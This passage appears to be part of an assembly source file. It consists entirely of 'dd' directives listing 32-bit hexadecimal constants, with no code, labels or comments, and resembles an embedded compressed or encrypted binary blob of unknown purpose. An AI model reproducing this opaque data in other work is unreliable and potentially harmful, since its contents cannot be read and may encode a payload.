0C20E9D0Fh, 66D1234Ah, 5C328945h, 81849448h, 63D1AFFDh dd 0BA2EE37Ch, 0CB2DD445h, 0EC59B9F2h, 0EBC30317h, 801BE803h dd 0B071AE8Fh, 81474876h, 4CC7071Dh, 811BF004h, 0EBB548F1h dd 0CF8DC5Eh, 6DBE272Eh, 0C0FF0271h, 91FE8122h, 9F7E74ACh dd 4A8C489Ch, 314395CBh, 33426F5Ch, 0B0353904h, 0F71116C9h dd 15A334C1h, 73204363h, 910E6621h, 65B3489h, 43AAA650h dd 0D0FC9652h, 6B910D24h, 0A9538B99h, 578A06B6h, 0FF13ED83h dd 0E4B164EBh, 25FDBE31h, 0F068417Dh, 0D2AEB93Fh, 397517BAh dd 4D88C516h, 99DFA203h, 8559507Ah, 2850FD6Bh, 0D27F90Fh dd 46F849B4h, 9C0523Fh, 878AC764h, 17CF3D3Ch, 4E9EBC65h dd 0EB2804B8h, 0EF833D30h, 7DDB8585h, 2123C9B2h, 476C850h dd 0AD2C743Dh, 13BB5479h, 8D270126h, 3D5A2041h, 420C12E7h dd 19FA5222h, 200849EFh, 0E84E5131h, 3B384AAEh, 0A7462A5h dd 8FE910FDh, 3C7EB750h, 524BFAC9h, 0C640F6BAh, 413B06CAh dd 0A057610h, 43721427h, 74E0E7D9h, 9EEEB37h, 31750FA8h dd 0FDBA5784h, 0E681097Ah, 3BDF40FFh, 207225F2h, 0E8978E8h dd 0AA040DD2h, 0DAFC66C8h, 0C12BF00Dh, 9C873E1Eh, 0CEC1F864h dd 5EC60844h, 2757489Eh, 2B2CB9DAh, 0F90C5848h, 0B5C82E0Ch dd 0F00FAAFh, 100111B6h, 98218032h, 13114438h, 200440C7h dd 0FF177517h, 48FB0552h, 20064066h, 10CE829Dh, 0FD765FE8h dd 0BBAFF3A5h, 57CFA648h, 0B42A6DBEh, 7C9F1161h, 6A087E26h dd 1320180Ch, 0E82B5AC7h, 0F6D77AE8h, 0C3A9CB8h, 0F93BC209h dd 3A73F060h, 8F0F8B27h, 7CCB80CEh, 0B5F391Ah, 53157604h dd 1B927C0h, 0E34C6EBFh, 2E6F097Dh, 6942C7AAh, 3888B144h dd 6B4C872h, 4E0B4664h, 0EC7EA805h, 85F82607h, 7342822Fh dd 7AF65F33h, 4D197C0Ah, 88EE1416h, 4FAE6AF4h, 81992666h dd 0C0A0A678h, 0F87D3BA6h, 46A4D272h, 0B7A6367Ch, 0E915741Dh dd 89956C64h, 1F29120Dh, 0E908D501h, 6A670128h, 7F58C25Ah dd 68406D7h, 950C700Ch, 0DC3FAC86h, 11D7DE81h, 5FF1E8EBh dd 0EE4464FEh, 3D3398F3h, 0EE28F72Bh, 0E6FE40E0h, 2207781h dd 11FEC93Bh, 0D23C02AFh, 55EB520Bh, 7415F720h, 144BD3EFh dd 574901D7h, 271CF896h, 555FB2F8h, 4C3808F6h, 45EBD2F3h dd 0BFC7CEFCh, 91FCCCD2h, 0CBE0D2B9h, 9AB3B07Eh, 801EC2B8h dd 65C6F488h, 7F1A506Eh, 9924BA52h, 0C7119CD0h, 0AE9D9241h dd 0C183351Eh, 750701D4h, 493D89D6h, 48E931C5h, 0C8283B37h dd 3966A373h, 303B05F8h, 1B1CF2EBh, 69823C0h, 290C4727h dd 76DCD0C1h, 329395Fh, 888FBC6Bh, 258613FDh, 0C207BA3Eh dd 0FB24E834h, 2914C8FAh, 880F0395h, 54321D59h, 6D762C19h dd 2B7611DAh, 48546CD3h, 29047622h, 818D1850h, 4E51B3BFh dd 0E5A45DB8h, 0B1BB04F1h, 67122AF4h, 8D390A02h, 9019E499h dd 24A8BC8Dh, 58202F02h, 17048D21h, 0A6908872h, 1077306h dd 0E8E2911h, 618309EBh, 78FB1B6h, 3DA3FB8Ah, 5B07CEE9h dd 3E80F703h, 6BD809h, 10348DC6h, 4373F33Bh, 84188A02h dd 0C93075DBh, 5ECC583Ch, 0F63B7080h, 46430C04h, 73A4F7EBh dd 45504E7Ch, 229605EBh, 0B71C4B3Fh, 825539C9h, 739982B5h dd 0EBC3058Fh, 0F3A00505h, 75424C03h, 71F0BDE8h, 73F7E0EBh dd 16F67E66h, 76E0FF68h, 0A0065E8Ah, 0A5CE40EFh, 4358685Eh dd 1FEC4325h, 0F0581C5Ah, 2B0928B2h, 0AA1968ACh, 2CC5399h dd 49108831h, 2730EBC2h, 13730AC2h, 9694529h, 0F0033472h dd 0C40EAEEBh, 0ECF003C0h, 8C1670A7h, 0AD41C244h, 168809D1h dd 6BE2B80Eh, 9FF0FC9h, 24798A8Dh, 5721ABF2h, 0A86EFACh dd 8DFB574Ah, 474024FCh, 0F82582B0h, 2A560Ch, 18C77C8Dh dd 609D1276h, 0FC82B5Ah, 0F010288h, 0E11847A9h, 733460EBh dd 0D30E2965h, 18836902h, 5072C654h, 0C511D155h, 0EA0A730Eh dd 0BBFC9856h, 7318F437h, 46678A42h, 62EF8B6Ah, 5F2B77D0h dd 3727A685h, 1473A32Ch, 9789FE39h, 66030638h, 0B43C8040h dd 47C25F84h, 63AB9143h, 30D9817h, 0D2A5EC2Bh, 0A7F9EDFDh dd 0EDA41EE5h, 5E78C411h, 127FF40h, 2F3B788Bh, 0F09200Ch dd 0D00393DDh, 0DAA96601h, 1B7E1D08h, 0A24922BAh, 8999687Ch dd 76FF1B06h, 16C40618h, 7E8C2409h, 0AA896479h, 556C9622h dd 0C7673C25h, 0C2F6F023h, 34597582h, 83570CC0h, 0F31422F9h dd 5D71C1D5h, 0F01FE1E8h, 0D3BD5A3Ch, 0CFBB8D28h, 10BF8E0Bh dd 329D0D0h, 805F044Fh, 0F99B82E1h, 36065C3Ch, 2572EECEh dd 97597E81h, 4E68E53Fh, 74B04CBEh, 6C95C50Ah, 8B1040ADh dd 0D1480E35h, 858B35BFh, 17C8AFDDh, 0E6BF92E0h, 7EA1A209h dd 0AAEAA738h, 0FD5FBADFh dd 0FC985BC4h, 0C5AE18B5h, 6BC68901h, 0AFA1A916h, 0A6A5166Ah dd 48B15AFh, 2C494807h, 4227748Ah, 9E088660h, 596A9D4Fh dd 4BBDD0D0h, 8CCFBAFEh, 350230CBh, 0E90A6275h, 54017A7h dd 1620EDA8h, 7313598h, 14F868Bh, 317B63Bh, 53044C6h, 0F4C4FF0Ah dd 2EE41AEEh, 51DE0775h, 57303442h, 3AE46C7Ch, 59056A60h dd 0DA3DD0BEh, 8916A4CBh, 0E9B5B40Dh, 0F8713E50h, 18886D4Bh dd 0BA19D635h, 1F125908h, 0B0261459h, 0F4D1C393h, 0BC603BFFh dd 8A6E0430h, 80A885C8h, 96EEA114h, 93D63F8h, 0B7DE3FA5h dd 0E3010C12h, 88FB2402h, 3966973Bh, 10869DDEh, 0EFCAC803h dd 70EF14A0h, 20388BCBh, 1A3C198Ah, 0FB15AE68h, 830B5C82h dd 2DFF47B6h, 0E069E928h, 0DA817A49h, 45AF1873h, 92CBF458h dd 0F768FF06h, 71BC65Eh, 0CA8B470Dh, 5ECCB373h, 7324EE59h dd 0A2D1D511h, 1527330Ah, 74596847h, 0F119B741h, 421A6A48h dd 1720A65Ch, 0B8B008Fh, 31448847h, 2924EB05h, 751F483Bh dd 3722FE2Fh, 0D42EDDC8h, 9CD718EBh, 0E816A7E2h, 0D007E868h dd 474141Ah, 14C04578h, 19E2C493h, 0E2EB02A2h, 52745E49h dd 936206F4h, 8802E523h, 8E582BC3h, 44F25B61h, 92EDCF5Ah dd 23693EA2h, 59A585DCh, 0BFD0165Dh, 0FBF9EFD4h, 2CCB333Ch dd 0BB2224BFh, 339AC54Dh, 42B2EEDBh, 3C078A01h, 0D11A7461h dd 4A6ABC72h, 222403BCh, 16B99D74h, 0BD8B5203h, 77CE3F04h dd 96C087Eh, 0C3021427h, 478A5A90h, 0C33A22DFh, 11E34D41h dd 0BC2FD33Bh, 43BB97E6h, 7F54F809h, 9D607E3Bh, 45592BE8h dd 36E9190Ah, 1CF90E03h, 0AC9A9948h, 0C4B23941h, 0B829A312h dd 15C9837Ah, 15B7EB20h, 724A8E23h, 0E810A213h, 147D37EAh dd 2498485Fh, 973166Fh, 0AB86FE29h, 81F620FCh, 4780CE31h dd 0B92A82EBh, 0C885036Eh, 0A10B5975h, 416E72E9h, 7462E8C2h dd 2E9BC748h, 340B103Ch, 0F7C20A12h, 8425C240h, 0ECC73B91h dd 0DF53E982h, 2EFAA646h, 6A79E9Bh, 2924BF2Fh, 90173CE9h dd 0D2CEA217h, 25E93602h, 744C772Fh, 36D23E80h, 0E5841919h dd 681111E1h, 0CC4BA4A4h, 0C288AE6Ah, 0DAC12D45h, 0CB3BF8C4h dd 1DB47D5Eh, 98A8BA1Ah, 4D2049CEh, 7708912h, 66045899h dd 8670A18h, 48E21C06h, 96CB7910h, 6C57F515h, 0ED331726h dd 0D5016CF2h, 8B5D7E57h, 0B1236F1Dh, 0F80FC3FBh, 2C1574CDh dd 2C6041F6h, 0EC401666h, 0C2017E20h, 3FEBEC7Ch, 0ABFF348Bh dd 6AF8A824h, 0E7C10520h, 52F5E802h, 40FBF8B0h, 0EBB08930h dd 3CE918B7h, 0FD3B1307h, 0F7B10E74h, 0ACF0F5CAh, 89FF0655h dd 0BBE7EC6Eh, 2EEE66F8h, 0FC1C4B0Ah, 5851B221h, 0CE40BFF8h dd 0B896F981h, 0F40C778Bh, 4B7C03Ah, 5251EB41h, 10225C2h dd 7FF9C10Fh, 0FE441488h, 5E802D01h, 0FE65B7C0h, 4D3988E0h dd 0FD4584FCh, 5DAA026Ah, 79F7E087h, 4D8D09F1h, 61AEA90Ah dd 0A22B51B2h, 0E81862FFh, 0F19A7F74h, 0C31166D5h, 230A45A8h dd 327F0C9Ah, 0ADE2D408h, 105EFEE0h, 0F82A804h, 4DA6F384h dd 117EB21h, 99273116h, 33D91084h, 2E08D460h, 2EBBFE24h dd 0B25D3D50h, 13B3ECD7h, 0E517EF24h, 81226670h, 6C84AFEh dd 10087417h, 3E30E845h, 4B45EE53h, 5FBBB348h, 45F47AA0h dd 21D02E43h, 2F570108h, 5E6C6474h, 0A462F08Bh, 5F4918B2h dd 4C04D0Eh, 5057107Eh, 32F968C4h, 0A24094A3h, 0F9335EEBh dd 8B16124Bh, 8BCB960Bh, 48390FCh, 0C8EE8685h, 0F608B881h dd 2013407Bh, 86FE0D74h, 0CF217069h, 8AB5B130h, 0D688CD4Dh dd 0EB7D70C2h, 845FE2D0h, 392CA653h, 5F1742B0h, 0B2B40674h dd 700F49EBh, 0A4484448h, 3492E59Dh, 7B578E6Ah, 0AE4893F2h dd 70C8F134h, 0EDE297F6h, 0C97D0089h, 51DBEC6Dh, 6E50C20h dd 31F04D11h, 0F70B576h, 14D03F0Ch, 0EC550639h, 31DC8C0Fh dd 20FB8006h, 170A137Ch, 0EC0E7F78h, 2F8A3F02h, 83D2403Ch dd 6139F7E0h, 0C6842061h, 91FAD5Ch, 77985E1h, 0FD08A01h dd 63899A87h, 1F0224FFh, 0C4DF41FDh, 5589191Dh, 2D806CCh dd 8E404E0h, 0E9DC06FCh, 93D34578h, 33E52610h, 0AA030A3Bh dd 0A308072Dh, 898D481Fh, 0A641FA39h, 743FB059h, 52E908FCh dd 43C0950h, 11E47A3h, 80203E51h, 4835E5E7h, 2CF20212h dd 2AFB0B84h, 1C742375h, 4E3FA9A4h, 59434BFh, 31128D9Eh dd 9DD8F73Eh, 0DFE9E91Fh, 0CBBE2F31h, 0C1851C3Bh, 0EBD04144h dd 0F08B43E9h, 4805EDA1h, 42861E3Fh, 8F088B6h, 0C04805D3h dd 13CAE90Dh, 3A896894h, 0E9396F6Ch, 4935B854h, 0ACEEDB0h dd 1420A868h, 0A6BB96Ch, 5A0AF25h, 0FFD4D18h, 0CF3097B9h dd 98E2A10h, 85942047h, 363F8040h, 7FEA1475h, 1C34013Bh dd 5177470Eh, 0E97823B9h, 8933406Ch, 2A17B3D0h, 54C1BF1Dh dd 58CEA5F6h, 0BF194E74h, 0C87E22CDh, 4DD47F74h, 47EC54B1h dd 0E21969D0h, 612F2D66h, 534CE236h, 0D67F83Bh, 29021C8Fh dd 0C34365E5h, 5A5E8496h, 0F8442458h, 4178E2A1h, 7C43E818h dd 336ED527h, 506C0970h, 2085FC22h, 0C49003E9h, 305E5498h dd 0C14267A8h, 0FF3B844Fh, 0FFBEBA22h, 671A852Ah, 4F22CA9Ch dd 250EE876h, 84D1A1C8h, 0AE0401FEh, 0BA090F0Ah, 0B5CBD408h dd 261AAB26h, 638ED527h, 854ED641h, 0D44291D2h, 3883660Ch dd 15CECAF3h, 0E7EB2540h, 80F760ABh, 149220C3h, 0BD8D4012h dd 3B85C1BEh, 9B56BCAh, 7F28CFF1h, 4706F084h, 8E0AD1E9h dd 127812F2h, 0E82F4087h, 5789AA30h, 963EC0D3h, 17244E3h dd 7DB640F4h, 0D880CA32h, 29EB0A5Fh, 745A0FD4h, 0D4090AD9h dd 0FADF48C5h, 8E92F22h, 4D89BC8h, 3B558889h, 4200E3EEh dd 0F87E6148h, 0AE3EE7E9h, 0B3E88D30h, 63669504h, 488B331Eh dd 2C5140ADh, 9086B8F6h, 0F171C9Ch, 0E8D10BBFh, 0F4456F5Eh dd 0B5E9E771h, 3E2B65ACh, 3D6FFA52h, 0A11FA3ECh, 990AD048h dd 5AFA509Ch, 9081B04Eh, 4A677515h, 4266EB07h, 0CC51A1BAh dd 8928D76Ch, 0BCF06C09h, 0B8764D98h, 1EFC4032h, 14C94ABCh dd 0BCFBEFD2h, 0A55BFBACh, 0EC102FDBh, 811409DAh, 746E69E6h dd 24EA7FE2h, 251B3642h, 506C4222h, 29125E59h, 6417F685h dd 57303564h, 920D752Dh, 0FA2AB03Bh, 0A0E1A4B9h, 32E85762h dd 5912B53Ch, 0A17CDA75h, 1721691Ah, 12906549h, 0AB9E2205h dd 705C527h, 81895174h, 69BEFDF1h, 53B12965h, 0C9924D24h dd 0D4C8016Dh, 3CEB1127h, 0E9BBD12Eh, 0C8FE22B4h, 0E2F7CAD0h dd 0EAFF0874h, 7CEBFD00h, 8FE94E15h, 8F01C37h, 7453E2Ah dd 80CC0B3Ah, 198F46D7h, 288A5D74h, 30EAF0C6h, 7F51042Dh dd 8802152Ch, 48E2EBFAh, 84222A6h, 12C33B2Ah, 3135EB02h dd 52031B98h, 9A40203Eh, 0EB76609h, 8898198h, 11B505EBh dd 0E9F6700Eh, 6BB10223h, 0A7B4099h, 60C16A54h, 3B530C74h dd 59350AEDh, 0C3E41EBh, 400D2174h, 0C854B99h, 1814C8E8h dd 99C007BCh, 0BCC525EBh, 9EB70C4Fh, 0C221F2D5h, 0A7A7E808h dd 9F85E039h, 0D2330805h, 1B741A05h, 177FE402h, 2758F07Ch dd 53581173h, 5A1D3BF9h, 6A27DAD2h, 4EBFA81h, 10C18B4h dd 83037578h, 0B344C2E7h, 0FE9309E6h, 72E038B5h, 0C68B06F7h dd 1575C70Bh, 256BE44Dh, 4B8356B7h, 620C5F0Bh, 6517F96h dd 20EF061Ah, 5299F404h, 0A5AC5750h, 0B305AB5Ah, 4FBB2AE8h dd 8B0C7531h, 3066C3CEh, 1B30C010h, 22D7A8E8h, 4139FBE9h dd 0C4037E68h dd 62CDD45Dh, 88CC82F8h, 0B5EB3318h, 1B682BA3h, 2938006h dd 3F13A656h, 3980C0C0h, 0AA755530h, 4B980B21h, 1C62140h dd 99373068h, 940ED816h, 520FC85h, 0F6FC5D8Bh, 26D30EC3h dd 0DA76C7A9h, 2D1A8B2Ah, 112014EBh, 9ED2B0Bh, 0BDA0203h dd 9F922024h, 92032901h, 0AC9F2BE0h, 32C9F406h, 38798B0Ch dd 96A5685h, 117E820h, 662433FDh, 2BEA0824h, 1439519Dh dd 5A9A1632h, 0A293F6Bh, 30613204h, 1AC2E5E8h, 412F117Fh dd 7E29B46Dh, 98F20FCh, 0FF788DF8h, 4303DE03h, 76C8913Ah dd 4104E817h, 328462A9h, 0E5EA848Dh, 0C41814F8h, 8B3E20C8h dd 0DCA84FC7h, 1553EBD0h, 21EE4E59h, 49BAE8D5h, 4AD511Eh dd 29A65A74h, 7D893671h, 0D4FA660Ch, 13120510h, 93AEF8F9h dd 633E23C8h, 0F714DCF8h, 442F0822h, 0BA89B27Bh, 8226EF12h dd 0ACE89739h, 0FF070C4Dh, 0E780449h, 5C8A11A2h, 0EB0217CCh dd 85B68E09h, 91A20B31h, 0F4F74A7Eh, 0F865838Ah, 7EF8109Fh dd 7B5D8D40h, 8AFE1C3h, 0AA6850D6h, 54217E62h, 561806DEh dd 9C30BFFh, 0D4ACE814h, 3E8A33AFh, 21071C2Ah, 59E57F4Eh dd 385FEF2Eh, 724BB6FBh, 7B266665h, 105C6D1Ch, 57060D22h dd 85F66D46h, 373275FDh, 5064133Fh, 5B09E26Fh, 831C55D9h dd 75E1F739h, 80D0C53h, 410493FBh, 0FC516405h, 0FD661D28h dd 94D73CAFh, 0BCB886D4h, 0E0F093D6h, 0B958402h, 47E9FD95h dd 0DB33116Ah, 91F41E6Eh, 16F64856h, 0E152E0B8h, 72744905h dd 4250BCC7h, 0C5CCD03Dh, 0FEF17C1Ah, 227CFFF3h, 6B54271h dd 2555249Dh, 0BFF0406Ah, 0CEA0BF1Ah, 0E8D1818Eh, 51508901h dd 0F2AAABF3h, 0C0A44F1Dh, 0EF860F1Eh, 7D8CF994h, 458414EEh dd 0EFD042BBh, 0BEBE7857h, 0D466A0Ah, 0F408FF41h, 87FEC23Bh dd 88269350h, 48BA165h, 94EE43C2h, 8D92C253h, 1FF85234h dd 4E6C10Fh, 0F09E45AAh, 5DBF9252h, 2C74C155h, 0BB01518Ah dd 7E25B58Eh, 3BFA8C40h, 9D1477C7h, 928AC501h, 8438AD8h dd 40184790h, 71F57628h, 2DC09D41h, 0A99DD475h, 0D08E0913h dd 72041722h, 963E9C1h, 57CD9C05h, 0A352FEE6h, 0C6E814ADh dd 0E4B68699h, 90BF3379h, 5989A521h, 0E0BC49A3h, 83C555EBh dd 3594FF79h, 15D2F9BAh, 82A25801h, 0D23D4008h, 0F1721267h dd 4270E256h, 8555422Dh, 0FB1006EBh, 13C3410Ch, 207AB4Eh dd 1D390DEBh, 121350D9h, 0D7E80E74h, 0BB25620h, 9F276CB5h dd 25F87014h, 56A122A2h, 0BE1075FEh, 138C7C98h, 0B86025FFh dd 15FD8AB7h, 8471D0D0h, 0F75FC09h, 0A15EDCA1h, 894A481Ah dd 3242A42Dh, 620BC2DFh, 2E806346h, 1FF00D0Ah, 0DC035848h dd 0C7FFB8C3h, 12554376h, 808F106h, 5712F911h, 0E3C16D42h dd 2B6D27C0h, 18A9B5AAh, 43C6D2BAh, 5FC444DDh, 146549B6h dd 0A46F14A5h, 0E891FF54h, 16790BA4h, 0BE527C16h, 84880988h dd 0AAA4DF05h, 2C38E840h, 0F21D31F4h, 250E8594h, 35C20h dd 8D575337h, 99DF355h, 7F40AB8Bh, 0AE1D2104h, 2BBCB60Ah dd 20B84186h, 0D5519503h, 51958520h, 0AA9C3BD5h, 0DA8A5C42h dd 0E9606AFFh, 7EBD5B5Fh, 29FA9192h, 7B218E35h, 0C50F7E27h dd 650FF456h, 52E13B70h, 512FD24h, 1F77561Eh, 0E84135AAh dd 244C291Fh, 0DFC985FCh, 2810241Ah, 2FB928F7h, 38CB5C14h dd 3073D18Dh, 8297113Ah, 4C16748Fh, 8A100AFBh, 3E650594h dd 18A09091h, 2361CEBh, 21104674h, 0EBB93020h, 0A05180E3h dd 2182211Dh, 0BF01503Dh, 169349EBh, 0FCC9D0A7h, 5A0AC919h dd 0C74CAB88h, 20C193C8h, 984ACADFh, 7261321Fh, 7A0A1361h dd 4F590E77h, 4AE93C9Dh, 0CC4DE0EBh, 5E5BBE97h, 0ABD4F7D2h dd 0CC1F8A5h, 2CE8FD6Ah, 0FD9059DDh, 0A6CFD423h, 9C3D42E0h dd 0EAD22E89h, 75068962h, 651BFD11h, 0B348E8F8h, 0EB893DB9h dd 4E0FF063h, 3DAD0B56h, 18AD2A1h, 0F087204Ah, 7586F62Ch dd 74078860h, 41473313h, 2F6D1935h, 0AE52161Ah, 26CA6214h dd 722E1008h, 120AF875h, 0C6FF6780h, 0FE580CCFh, 4AC21780h dd 625E7F0Ch, 0A301EE8Dh, 4CD1EADCh, 4DCA43B5h, 5D5F135Fh dd 0FBA4C7F9h, 461C562h, 47A32AFh, 4E822A6h, 0FB81619Eh dd 4B7DC048h, 0B00FFC28h, 1CE85302h, 61FFF1BBh, 20958E4h dd 6BC4C4FCh, 270E213Ah, 7CB4C2D9h, 2AC329FBh, 19FC3C22h dd 91080803h, 0B9F442EAh, 7F270D22h, 35A9C939h, 0CACE3EC2h dd 84C8ED93h, 24ECD233h, 648B8C9h, 742D083Bh, 42CF0020h dd 94CE383Dh, 0F986BD13h, 0A1D7213h, 18772416h, 6AB620BCh dd 0D4D50419h, 1147A357h, 7CF981D2h, 12728CCCh, 118ACA10h dd 76110826h, 0D38B6E0Ah, 3B038D4Fh, 39E2C345h, 772588B3h dd 5D977E66h, 0AD0BB0A4h, 0D1638A82h, 0B5EE66A5h, 75029AE6h dd 853C8352h, 986746C4h, 0BF0A8459h, 7589F4FEh, 3A410220h dd 3F90DFB0h, 20FB0789h, 144846A8h, 5FF44E15h, 0C586606h dd 4500618h, 3F7D8BE6h, 7E145E66h, 103E6F26h, 4E8166E0h dd 1169020Ch, 576A89B9h, 834BC244h, 8520D5EAh, 4ED6B944h dd 0F4106DF0h, 31EBB829h, 80A0D6A0h, 83EEF066h, 0EB9D18E8h dd 0C30E408Fh, 0D493B759h, 8404422h, 7EE85007h, 289826B5h dd 430141C4h, 0B884EB85h, 91BC9390h, 84068A12h, 0A4C86C5h dd 2D0FCC3Bh, 5A0DF2E1h, 0AC75B7Dh, 6ABC364Bh, 0C210C0E2h dd 8DFF71EFh, 0AC93C011h, 0C2362DECh, 45E70671h, 254ACB08h dd 22D09355h, 46C70610h, 162C0146h, 0F6D04EE5h, 430C4869h dd 0C1D32212h, 3E80EE92h, 0D99E7025h, 32900852h, 24E809CBh dd 91F248E9h, 0B6EA2EF1h, 0FBFCD820h, 191FF95h, 0C6F400E0h dd 1F33345h, 8A20D00Eh, 7D3975Eh, 8FF10446h, 0DDC3909Dh dd 45A8EB35h, 0FDFFF41Ch, 4364C8CAh, 0A02D8F95h, 0FB8365EBh dd 3E7F0C4Eh, 2A0E5E74h, 3D3E95BEh, 0A543446h, 0A58C6EAh dd 37754C0Ch, 0E6EBC8FEh, 17E1E80h, 0C2CD836h, 0A1903402h dd 9723E5E9h, 74FCD07Ch, 8B5B205Eh, 2767EBF0h, 2256F246h dd 1D684A5Ah, 376C54C5h, 820773Dh, 0EEBF11Bh, 0B0067E79h dd 0DC4DFA9Ch, 8009FC10h, 5BC1F17Dh, 305E3B4Fh, 0C984F293h dd 887FA2F1h, 0A398BC58h, 370C046Fh, 0A6D469C8h, 0E47D50EAh dd 88144875h, 9A533C1Bh, 86A743A3h, 0ACB07880h, 0D9ED0451h dd 1F106E01h, 833309CAh, 0FED683CEh, 0C4820C6Eh, 63102874h dd 0AF3E7ABEh, 93E6DE7Bh, 8E23E808h, 1193F7B5h, 831F730Bh dd 0E8B76F2h, 39169157h, 974F241h, 82F40A94h, 2FDEDC27h dd 26FFE8Bh, 0C025EDDh, 5420A1Eh, 2C126333h, 36422FCh dd 311504F8h, 0C0F6A8Eh, 0A387E67h, 1B743569h, 579B04E3h dd 5BBC5102h, 0E14C4E86h, 21E98F8Ch, 64286A0Bh, 0D0B0985Eh dd 422DFB32h, 0EA8287Eh, 7A4D01E9h, 8D2B8213h, 0F2FE3CB5h dd 752D050Fh, 199D880Eh, 143D220Bh, 13265086h, 5217752Bh dd 8B281555h, 0E81A2748h, 44D791CEh, 0FEEC5F3Bh, 6E83504Eh dd 44FB12E0h, 0D25DF44Fh, 0A0547E9Dh, 76B10922h, 450404C4h dd 0DC522AEDh, 0A8362121h, 0B0176015h, 461E88E4h, 0E705EA9h dd 1D38BB06h, 752B8BC8h, 5C952966h, 50867B23h, 50881CA0h dd 0A7462A06h, 0ECD7886Eh, 0F4021077h, 13E4C90Eh, 2FA89AAh dd 0D28C65F2h, 2590450Ah, 392F2895h, 6C676E0h, 7937A465h dd 2DAB86CBh, 5757514h, 27462486h, 2C661EC5h, 0AC214D28h dd 462D0F2Ah, 0A755689Eh dd 0C80E30D9h, 19085912h, 0A0C99804h, 8D725E9Ah, 6640A213h dd 549F6A4h, 36A090DCh, 7D50154Dh, 4264ECCh, 2FE3C83h dd 62BE0F50h, 0D45040C8h, 6968B548h, 919743CFh, 951429CCh dd 4AD8A852h, 49886ED7h, 347EB611h, 0BFFAEAA6h, 6F05404Ah dd 3DBC0BE9h, 0FF5B7DD4h, 0B6A8F624h, 9852FB97h, 0AC96B6A4h dd 0FDC32D11h, 0C4CD974Bh, 0E4D787BDh, 0FAA7C63Bh, 2C303F45h dd 348AACEBh, 0C48704C3h, 0E91DD120h, 629CEEB8h, 109D8B7Ah dd 673F8066h, 8A74A5Eh, 788DC784h, 469975C2h, 2232A167h dd 0C54ED57h, 287C44CDh, 0EB01F105h, 680E9C11h, 0B1360548h dd 74AD30FBh, 1A4788D7h, 0EC644E64h, 743B6340h, 58103A2Fh dd 3EF32AA6h, 405799CAh, 5E6F6A38h, 2F16E929h, 3AA13BA8h dd 3661A838h, 5B306A02h, 0B901FDE9h, 59130945h, 6A858C60h dd 91CFEB78h, 5338E410h, 0FFE8C505h, 9C82D2AAh, 37948D5h dd 11F6F9ABh, 617BD17Dh, 5DC6031Ah, 0D1B209A9h, 0A7568947h dd 8AFE8120h, 1F6ECB55h, 5F748761h, 36095B47h, 3D82A77Dh dd 798CD7F9h, 47073620h, 473D13Ah, 3BEBC1C3h, 0F87AC208h dd 21772FD0h, 0F006900Ch, 46F22B07h, 0C220CA8Bh, 2507E183h dd 0C8F401B3h, 42039CE4h, 32EB754Eh, 81B4EBE9h, 0D08AC844h dd 1F5EC18Bh, 0EC9BEB1Ah, 4019948h, 385118Ah, 78354E25h dd 64D4CACFh, 0AC549F1Ah, 0E8D00D3Dh, 0E5053D53h, 650E4832h dd 0C2D62743h, 1A841969h, 0E5EE3D44h, 7E3240D4h, 6A32C88Bh dd 605ACB01h, 30E85D2Ch, 0C11CE2D3h, 16C003F9h, 339C0D4Ch dd 0D18509CBh, 0CF106074h, 0CCB5275h, 0B9FA78EAh, 45888491h dd 3B31B1C8h, 0CC0D4732h, 0DD036C00h, 6FFBC92Eh, 592A1DC9h dd 20C20846h, 33690B2Bh, 57ADAF2Eh, 0C48FD4FAh, 3BC8214h dd 9E041ACAh, 0A3C9EAD4h, 14D0729Eh, 4D25085Ch, 3A36BA2h dd 0BA443911h, 7328A50Fh, 437FCE28h, 64E64502h, 138A72E3h dd 0D4A02586h, 2083A4E0h, 6051A698h, 58119712h, 1F3BA31h dd 7517CA76h, 0C4C62406h, 0C44E9E80h, 0EF8A031Ah, 97D03A64h dd 0D01254Dh, 6EE9F15Dh, 3E44EF52h, 95B24F75h, 9228F897h dd 5690370Eh, 140DA032h, 48172551h, 14B9A355h, 55CBD89Ch dd 59C700DCh, 0CD32E4E8h, 0CE1E895Bh, 27D850Fh, 532C4ECBh dd 0CA44D9ECh, 0F05D181Dh, 1550756Fh, 7D2938B8h, 3905053h dd 39B09422h, 46AA769Dh, 0D80D06DCh, 78C573E8h, 11646009h dd 0D0430C8Dh, 111A0199h, 5E51982h, 2455F057h, 0B936E472h dd 0BE2FE97Eh, 0FF28BF12h, 40024239h, 8480E9EDh, 79BBAEDCh dd 6D079D4Dh, 0E1AF0DD1h, 1A1CD7D9h, 0F24C4E9h, 7418B251h dd 700A3F67h, 0C56C3A55h, 0A2E7437Fh, 80A1176h, 0E7C1006Ch dd 8D3FEB03h, 0D178BF3Ch, 4E45FAEFh, 1DE74242h, 6CBC0DAFh dd 12041FAh, 0E445BB4Ah, 158DDA08h, 0DED01F7Ch, 0B0158E1h dd 5BE25C21h, 740A1401h, 8CDFF702h, 11B34613h, 0CECECC5Ch dd 755A6113h, 32563329h, 6A1048D0h, 4DFE0A4Eh, 3530812h dd 1039E0AAh, 9BF33EC9h, 38E4DF62h, 3E66AEC3h, 0CB77FE0Ah dd 59560C58h, 0EA334293h, 775385E1h, 0C9060012h, 9CFBC33Bh dd 0CA55930Bh, 88144DA8h, 8B76718h, 280E28B3h, 5525C850h dd 0E6AF9F3Eh, 8FA7CBF6h, 0C833DF2Ah, 0F7C3C50Ch, 0CA44F36Eh dd 0BD2A57F0h, 0F6560969h, 59305CC1h, 0EDC435C7h, 0C9E72805h dd 0E46578Bh, 7D1A269Bh, 7318111Dh, 0A5E3763Ah, 0CC9A1164h dd 382887EDh, 48E49DACh, 5E367AB7h, 0C2EDF3CCh, 0DD107E56h dd 0C97DE192h, 5B69E500h, 4D77219Ah, 14E12FA9h, 0EE3020E6h dd 0C68B0716h, 7AE6FC5h, 334AFFE1h, 0AEA0978h, 0B0799355h dd 35E852C3h, 0A273E0BFh, 79AC5BB3h, 8571EA4Eh, 7F093015h dd 259DB1D9h, 0E8060B10h, 0C3BFD65Ah, 0C6BAC1A4h, 84A2A82Fh dd 0ADAEE775h, 108F90E6h, 7F52D330h, 0DD142473h, 5AD62501h dd 68D90A4Ch, 0CA0F0FEEh, 6A41A501h, 77276E85h, 68C35DD1h dd 0CCB986ADh, 5A711621h, 5D035BE8h, 535DEC2Ah, 2AD758E4h dd 50189B06h, 4BF39075h, 351DE703h, 0F9022722h, 5F50FEE0h dd 2045D446h, 0A8E1333Ah, 0E4B6EBF4h, 45EF3140h, 2961905h dd 80692CA8h, 0DD9D9028h, 10889B47h, 21780CE6h, 483E04EBh dd 92967B5Bh, 74FFC747h, 426B9AA2h, 189819B4h, 5D12C902h 